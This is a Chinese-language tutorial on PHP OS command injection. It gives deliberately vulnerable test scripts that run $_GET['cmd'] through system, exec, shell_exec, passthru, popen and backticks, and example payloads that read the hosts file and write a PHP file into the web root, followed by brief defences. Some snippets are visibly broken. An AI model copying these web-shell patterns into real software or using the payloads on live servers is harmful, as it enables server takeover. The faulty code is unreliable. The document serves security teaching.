命令注入
原理以及成因
程序员使用脚本语言(比如PHP)开发应用程序过程中,脚本语言开发十分快速、简介,方便,但是也伴随着一些问题。比如说速度慢,或者无法接触系统底层,如果我们开发的应用,特别是企业级的一些应用需要去调用一些外部程序。当应用需要调用一些外部程序时就会用到一些系统命令的函数。
应用在调用这些函数执行系统命令的时候,如果将用户的输入作为系统命令的参数拼接到命令行中,在没有过滤用户的输入的情况下,就会造成命令执行漏洞。
造成命令执行漏洞的原因
1、用户输入作为拼接
2、没有足够的过滤
漏洞危害
1.继承Web 服务器程序权限(web用户权限),去执行系统命令
2.继承Web服务器权限,读写文件
3.反弹Shell
4.控制整个网站
5.控制整个服务器
相关函数有以下几种
- system( )
system( )能够将字符串作为OS命令执行,自带输出功能
测试代码如下
----system. php
<?php
$str="ipconfig"
system();
?>
访问如下图得到相关信息
然后用提交参数的方法测试
代码如下:
<meta charset='gb2312'>
<?php
if(isset($_GET [ ' cmd ' ] )){
echo "<pre>";
system( $_GET[ ' cmd ' ] );
}else{
echo"?cmd=ipconfig";
}
?>
*exec( )
exec()函数能将字符串作为OS命令执行,需要输出执行结果。测试代码如下
----exec. php-------
<meta charset="gb2312">
<?php
if ( isset($_GET[ ' cmd ' ])){
echo "<pre>" ;
print exec($_GET[ ' cmd ']);
}else{
echo"?cmd=whoami";
}
?>
*shell_exec()
测试代码如下
----shell_exec. php
<?php
if(isset($_GET[ ' cmd '])){
print shell_exec($_GET[ ' cmd ' ] );
}else{
echo" ?cmd=whoami" ;
}
?>
*passthru( )
测试代码如下-一–passthru . php
<?php
if(isset($_GET[ 'cmd ' ])){
passthru($__GET[ ' cmd ' ]);
}else{
echo" ?cmd=whoami";
}
?>
*popen()
popen()也能够执行0S
命令,但是该函数并回是返回命令结果,而是返回一个文件指针。无论返回什么,我们关心的是命令执行了。
测试代码如下----popen. php
<?php
if( isset($_GET[ ' cmd ' ]))i
$cmd=$_GET[ ' cmd ' ].">>1.txt" ;popen( $cmd , 'r' );
}else{
echo" ?cmd=whoami" ;
}
?>
查看1.txt文件
*反引号
反引号[`]内的字符串,也会被解析成0S命令。测试代码如下
<?php
if(isset($_GET[ ' cmd ' ])){
$cmd=$_GET[ ' cmd ' ];
print `$cmd `;
}else{
echo" ?cmd=whoami" ;
}
?>
漏洞利用
OS命令注入漏洞,攻击者直接继承web
用户权限,在服务器上执行任意命令,危害特别大。以下命令均在windows系统下测试成功。
*查看系统文件
提交参数[?cmd=type c:\windows\system32\drivers\etc\hosts]
,查看系统hosts 文件。
*显示当前路径
提交参数[?cmd=cd]
*写文件
提交参数[?cmd=echo "<?php phpinfo( ) ; ?>" > C: iphpStudy \ wWw\ Commmandi\shell.php]
页面没有报错,说明文件写入成功。访问shell.php文件。
防御方法
1,尽量减少命令执行函数的使用,并在disable_functions中禁用2.在进入命令执行的函数或方法之前,对参数进行过滤
3.参数的值尽量使用引号包裹,并在拼接前调用addslashes进行转义